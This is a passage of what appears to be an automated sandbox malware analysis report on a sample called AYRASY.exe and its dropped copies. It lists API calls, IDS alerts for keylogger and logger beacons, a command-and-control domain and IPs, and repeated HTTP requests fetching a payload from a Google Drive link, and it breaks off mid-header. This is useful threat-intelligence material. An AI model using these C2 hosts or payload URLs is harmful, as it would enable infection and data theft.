Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_001B6B3F _wcscat,_wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindNextFileW,FindClose,FindClose,	2_2_001B6B3F
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_001B6E4A _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,	2_2_001B6E4A
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_001BF350 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	2_2_001BF350
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_001BFD47 FindFirstFileW,FindClose,	2_2_001BFD47
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_001BFDD2 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	2_2_001BFDD2
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_00A02044 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	9_2_00A02044
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_00A0219F SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	9_2_00A0219F
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_00A024A9 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	9_2_00A024A9
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_009F6B3F _wcscat,_wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindNextFileW,FindClose,FindClose,	9_2_009F6B3F
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_009F6E4A _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,	9_2_009F6E4A
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_009FF350 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	9_2_009FF350
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_009CDD92 GetFileAttributesW,FindFirstFileW,FindClose,	9_2_009CDD92
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_009FFDD2 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	9_2_009FFDD2
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_009FFD47 FindFirstFileW,FindClose,	9_2_009FFD47

Source: C:\Users\user\Desktop\AYRASY.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior

Source: excel.exe

Memory has grown: Private usage: 1MB later: 67MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2822116 - Severity 1 - ETPRO MALWARE Loda Logger CnC Beacon : 192.168.2.6:49759 -> 172.111.138.100:5552
Source: Network traffic	Suricata IDS: 2849885 - Severity 1 - ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin : 192.168.2.6:49759 -> 172.111.138.100:5552
Source: Network traffic	Suricata IDS: 2832617 - Severity 1 - ETPRO MALWARE W32.Bloat-A Checkin : 192.168.2.6:49796 -> 69.42.215.252:80
Source: Network traffic	Suricata IDS: 2849885 - Severity 1 - ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin : 192.168.2.6:49850 -> 172.111.138.100:5552
Source: Network traffic	Suricata IDS: 2849885 - Severity 1 - ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin : 192.168.2.6:49923 -> 172.111.138.100:5552
Source: Network traffic	Suricata IDS: 2849885 - Severity 1 - ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin : 192.168.2.6:49979 -> 172.111.138.100:5552
Source: Network traffic	Suricata IDS: 2822116 - Severity 1 - ETPRO MALWARE Loda Logger CnC Beacon : 192.168.2.6:50039 -> 172.111.138.100:5552
Source: Network traffic	Suricata IDS: 2849885 - Severity 1 - ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin : 192.168.2.6:50039 -> 172.111.138.100:5552
Source: Network traffic	Suricata IDS: 2830912 - Severity 1 - ETPRO MALWARE Loda Logger CnC Beacon Response M2 : 172.111.138.100:5552 -> 192.168.2.6:50039
Source: Network traffic	Suricata IDS: 2849885 - Severity 1 - ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin : 192.168.2.6:50037 -> 172.111.138.100:5552
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.6:49802 -> 142.250.186.46:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.6:49786 -> 142.250.186.46:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.6:49785 -> 142.250.186.46:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.6:49803 -> 142.250.186.46:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.6:49836 -> 142.250.186.46:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.6:49813 -> 142.250.186.46:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.6:49825 -> 142.250.186.46:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.6:49824 -> 142.250.186.46:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.6:49845 -> 142.250.186.46:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.6:49852 -> 142.250.186.46:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.6:49859 -> 142.250.186.46:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.6:49861 -> 142.250.186.46:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.6:49816 -> 142.250.186.46:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.6:49867 -> 142.250.186.46:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: xred.mooo.com

Uses dynamic DNS services

Source: unknown

DNS query: name: freedns.afraid.org

Source: Joe Sandbox View	IP Address: 172.111.138.100 172.111.138.100
Source: Joe Sandbox View	IP Address: 69.42.215.252 69.42.215.252

Source: Joe Sandbox View

ASN Name: VOXILITYGB VOXILITYGB

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\._cache_AYRASY.exe

Code function: 2_2_001C550C InternetReadFile,InternetQueryDataAvailable,InternetReadFile,

2_2_001C550C

Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=BYMo-wv4eYJdWmry7AUwgnY8FD94uo3veWkAXjfZOk1mv7TJVBgEhqFHCgX6R2JeKOBvo50nIjRpzf2b_9A2GW8ksEyt-5g4q85Ob8tsU_aR9mcINLgHh64rG-oKyQGbjBH7KUvXgliKdHc4uXAnoj7xbO6TIXqQNfde8w3K2uPd4t-_pCWMMPI
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Y_PNLw8RAdUj4J1fOerPMq8Ej9LvL1f7eF6_piOgXJNptBE8qxvPOkddsBqHD9gQOeCrJToQuet-_tokPg-JdZJiqyAu88gCyYeyuE48kpaD4y1_QnonBLTPPkt56ERiisqn6OfLmXRqnXEdx-shuyT3q60FEk5q_r3UTpHE8-DK_GE5EajAs4Vr
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=GbM711qpEqJ6-vJ7oZqwt_WizODnySwytzMLs5JRcON8kGsz8pvZs1ucuzlzIIEVOcZGVhhVTYf4xlXyHI5Juf1ww77K6Oa5Bm_YSz4X14o3A_uSVZ8VL5euu7xS6ZroCu0UPyI9Ne-wNNv9n_H8Nqd8MjC5G5YX2-l3dDYf59wDf8Q1VbXIrls
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=GbM711qpEqJ6-vJ7oZqwt_WizODnySwytzMLs5JRcON8kGsz8pvZs1ucuzlzIIEVOcZGVhhVTYf4xlXyHI5Juf1ww77K6Oa5Bm_YSz4X14o3A_uSVZ8VL5euu7xS6ZroCu0UPyI9Ne-wNNv9n_H8Nqd8MjC5G5YX2-l3dDYf59wDf8Q1VbXIrls
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=GbM711qpEqJ6-vJ7oZqwt_WizODnySwytzMLs5JRcON8kGsz8pvZs1ucuzlzIIEVOcZGVhhVTYf4xlXyHI5Juf1ww77K6Oa5Bm_YSz4X14o3A_uSVZ8VL5euu7xS6ZroCu0UPyI9Ne-wNNv9n_H8Nqd8MjC5G5YX2-l3dDYf59wDf8Q1VbXIrls
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=GbM711qpEqJ6-vJ7oZqwt_WizODnySwytzMLs5JRcON8kGsz8pvZs1ucuzlzIIEVOcZGVhhVTYf4xlXyHI5Juf1ww77K6Oa5Bm_YSz4X14o3A_uSVZ8VL5euu7xS6ZroCu0UPyI9Ne-wNNv9n_H8Nqd8MjC5G5YX2-l3dDYf59wDf8Q1VbXIrls
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=GbM711qpEqJ6-vJ7oZqwt_WizODnySwytzMLs5JRcON8kGsz8pvZs1ucuzlzIIEVOcZGVhhVTYf4xlXyHI5Juf1ww77K6Oa5Bm_YSz4X14o3A_uSVZ8VL5euu7xS6ZroCu0UPyI9Ne-wNNv9n_H8Nqd8MjC5G5YX2-l3dDYf59wDf8Q1VbXIrls
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978 HTTP/1.1User-Agent: MyAppHost: freedns.afraid.orgCache-Control: no-cache

Source: Synaptics.exe, 00000003.00000003.2356535180.0000000005605000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: .google.com.appuser.google.com.bdn.dev.origin-test.bdn.dev.cloud.google.com.crowdsource.google.com.datacompute.google.com.google.ca.google.cl.google.co.in.google.co.jp.google.co.uk.google.com.ar.google.com.au.google.com.br.google.com.co.google.com.mx.google.com.tr.google.com.vn.google.de.google.es.google.fr.google.hu.google.it.google.nl.google.pl.google.pt.googleapis.cn.googlevideo.com.gstatic.cn.gstatic-cn.comgooglecnapps.cn.googlecnapps.cngoogleapps-cn.com.googleapps-cn.comgkecnapps.cn.gkecnapps.cngoogledownloads.cn.googledownloads.cnrecaptcha.net.cn.recaptcha.net.cnrecaptcha-cn.net.recaptcha-cn.netwidevine.cn.widevine.cnampproject.org.cn.ampproject.org.cnampproject.net.cn.ampproject.net.cngoogle-analytics-cn.com.google-analytics-cn.comgoogleadservices-cn.com.googleadservices-cn.comgooglevads-cn.com.googlevads-cn.comgoogleapis-cn.com.googleapis-cn.comgoogleoptimize-cn.com.googleoptimize-cn.comdoubleclick-cn.net.doubleclick-cn.net.fls.doubleclick-cn.net.g.doubleclick-cn.netdoubleclick.cn.doubleclick.cn.fls.doubleclick.cn.g.doubleclick.cndartsearch-cn.net.dartsearch-cn.netgoogletraveladservices-cn.com.googletraveladservices-cn.comgoogletagservices-cn.com.googletagservices-cn.comgoogletagmanager-cn.com.googletagmanager-cn.comgooglesyndication-cn.com.googlesyndication-cn.com.safeframe.googlesyndication-cn.comapp-measurement-cn.com.app-measurement-cn.comgvt1-cn.com.gvt1-cn.comgvt2-cn.com.gvt2-cn.com2mdn-cn.net.2mdn-cn.netgoogleflights-cn.net.googleflights-cn.netadmob-cn.com.admob-cn.comgooglesandbox-cn.com.googlesandbox-cn.com.safenup.googlesandbox-cn.com.gstatic.com.metric.gstatic.com.gvt1.com.gcpcdn.gvt1.com.gvt2.com.gcp.gvt2.com.url.google.com.youtube-nocookie.com.ytimg.comandroid.com.android.com.flash.android.comg.cn.g.cng.co.g.cogoo.glwww.goo.glgoogle-analytics.com.google-analytics.comgoogle.comgooglecommerce.com.googlecommerce.comggpht.cn.ggpht.cnurchin.com.urchin.comyoutu.beyoutube.com.youtube.commusic.youtube.com.music.youtube.comyoutubeeducation.com.youtubeeducation.comyoutubekids.com.youtubekids.comyt.be equals www.youtube.com (Youtube)
Source: Synaptics.exe, 00000003.00000003.2337108577.0000000005602000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: .google.com.appuser.google.com.bdn.dev.origin-test.bdn.dev.cloud.google.com.crowdsource.google.com.datacompute.google.com.google.ca.google.cl.google.co.in.google.co.jp.google.co.uk.google.com.ar.google.com.au.google.com.br.google.com.co.google.com.mx.google.com.tr.google.com.vn.google.de.google.es.google.fr.google.hu.google.it.google.nl.google.pl.google.pt.googleapis.cn.googlevideo.com.gstatic.cn.gstatic-cn.comgooglecnapps.cn.googlecnapps.cngoogleapps-cn.com.googleapps-cn.comgkecnapps.cn.gkecnapps.cngoogledownloads.cn.googledownloads.cnrecaptcha.net.cn.recaptcha.net.cnrecaptcha-cn.net.recaptcha-cn.netwidevine.cn.widevine.cnampproject.org.cn.ampproject.org.cnampproject.net.cn.ampproject.net.cngoogle-analytics-cn.com.google-analytics-cn.comgoogleadservices-cn.com.googleadservices-cn.comgooglevads-cn.com.googlevads-cn.comgoogleapis-cn.com.googleapis-cn.comgoogleoptimize-cn.com.googleoptimize-cn.comdoubleclick-cn.net.doubleclick-cn.net.fls.doubleclick-cn.net.g.doubleclick-cn.netdoubleclick.cn.doubleclick.cn.fls.doubleclick.cn.g.doubleclick.cndartsearch-cn.net.dartsearch-cn.netgoogletraveladservices-cn.com.googletraveladservices-cn.comgoogletagservices-cn.com.googletagservices-cn.comgoogletagmanager-cn.com.googletagmanager-cn.comgooglesyndication-cn.com.googlesyndication-cn.com.safeframe.googlesyndication-cn.comapp-measurement-cn.com.app-measurement-cn.comgvt1-cn.com.gvt1-cn.comgvt2-cn.com.gvt2-cn.com2mdn-cn.net.2mdn-cn.netgoogleflights-cn.net.googleflights-cn.netadmob-cn.com.admob-cn.comgooglesandbox-cn.com.googlesandbox-cn.com.safenup.googlesandbox-cn.com.gstatic.com.metric.gstatic.com.gvt1.com.gcpcdn.gvt1.com.gvt2.com.gcp.gvt2.com.url.google.com.youtube-nocookie.com.ytimg.comandroid.com.android.com.flash.android.comg.cn.g.cng.co.g.cogoo.glwww.goo.glgoogle-analytics.com.google-analytics.comgoogle.comgooglecommerce.com.googlecommerce.comggpht.cn.ggpht.cnurchin.com.urchin.comyoutu.beyoutube.com.youtube.commusic.youtube.com.music.youtube.comyoutubeeducation.com.youtubeeducation.comyoutubekids.com.youtubekids.comyt.be.yt.beandroid.clients.google.com.android.google.cn.chrome.google.cn.developers.google.cn equals www.youtube.com (Youtube)
Source: Synaptics.exe, 00000003.00000003.2337108577.00000000055E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ication-cn.com.safeframe.googlesyndication-cn.comapp-measurement-cn.com.app-measurement-cn.comgvt1-cn.com.gvt1-cn.comgvt2-cn.com.gvt2-cn.com2mdn-cn.net.2mdn-cn.netgoogleflights-cn.net.googleflights-cn.netadmob-cn.com.admob-cn.comgooglesandbox-cn.com.googlesandbox-cn.com.safenup.googlesandbox-cn.com.gstatic.com.metric.gstatic.com.gvt1.com.gcpcdn.gvt1.com.gvt2.com.gcp.gvt2.com.url.google.com.youtube-nocookie.com.ytimg.comandroid.com.android.com.flash.android.comg.cn.g.cng.co.g.cogoo.glwww.goo.glgoogle-analytics.com.google-analytics.comgoogle.comgooglecommerce.com.googlecommerce.comggpht.cn.ggpht.cnurchin.com.urchin.comyoutu.beyoutube.com.youtube.commusic.youtube.com.music.youtube.comyoutubeeducation.com.youtubeeducation.comyoutubekids.com.youtubekids.comyt.be.yt.beandroid.clients.google.com.android.google.cn.chrome.google.cn.developers.google.cn equals www.youtube.com (Youtube)
Source: Synaptics.exe, 00000003.00000002.2441515499.0000000005600000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: om.url.google.com.youtube-nocookie.com.ytimg.comandroid.com.android.com.flash.android.comg.cn.g.cng.co.g.cogoo.glwww.goo.glgoogle-analytics.com.google-analytics.comgoogle.comgooglecommerce.com.googlecommerce.comggpht.cn.ggpht.cnurchin.com.urchin.comyoutu.beyoutube.com.youtube.commusic.youtube.com.music.youtube.comyoutubeeducation.com.youtubeeducation.comyoutubekids.com.youtubekids.comyt.be.yt.beandroid.clients.google.com.android.google.cn.chrome.google.cn*.developers.google.cn equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: docs.google.com
Source: global traffic	DNS traffic detected: DNS query: xred.mooo.com
Source: global traffic	DNS traffic detected: DNS query: freedns.afraid.org
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4KlaZQ4n-XKMdW1aWpbAFMRpXtf-mXTavBuLeS7kh3Xpl8Tu7eBCs4dvenupWm320kContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:24:24 GMTP3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-Zlj0acJSHkIHNfrDRTNwgw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerSet-Cookie: NID=520=BYMo-wv4eYJdWmry7AUwgnY8FD94uo3veWkAXjfZOk1mv7TJVBgEhqFHCgX6R2JeKOBvo50nIjRpzf2b_9A2GW8ksEyt-5g4q85Ob8tsU_aR9mcINLgHh64rG-oKyQGbjBH7KUvXgliKdHc4uXAnoj7xbO6TIXqQNfde8w3K2uPd4t-_pCWMMPI; expires=Tue, 01-Jul-2025 10:24:24 GMT; path=/; domain=.google.com; HttpOnlyAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7NffQA0sK6LlEYaFFQ7Ze0jEZ5-g3-HNlxD8dVcfnhVBVgP_ShdHb7zvTRGAe23PV3b7oa4L0Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:24:24 GMTP3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Cross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-WqdjAfbOEyvViiWfNKNokA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerSet-Cookie: 